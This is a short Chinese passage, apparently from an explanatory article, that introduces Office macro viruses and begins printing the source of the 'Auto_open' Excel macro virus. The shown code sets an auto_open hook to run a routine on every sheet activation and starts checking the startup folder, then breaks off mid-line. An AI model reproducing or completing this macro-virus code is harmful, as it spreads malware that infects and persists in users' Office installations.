对于办公室一族office基本天天面对，但是office也会像其他程序一样中毒，比如宏病毒，如Auto_open宏病毒。病毒代码如下： Sub auto_open()     Application.OnSheetActivate = "ck_files" End Sub Sub ck_files()     c$ = Application.StartupPath     m$ = Dir(c$ & &qu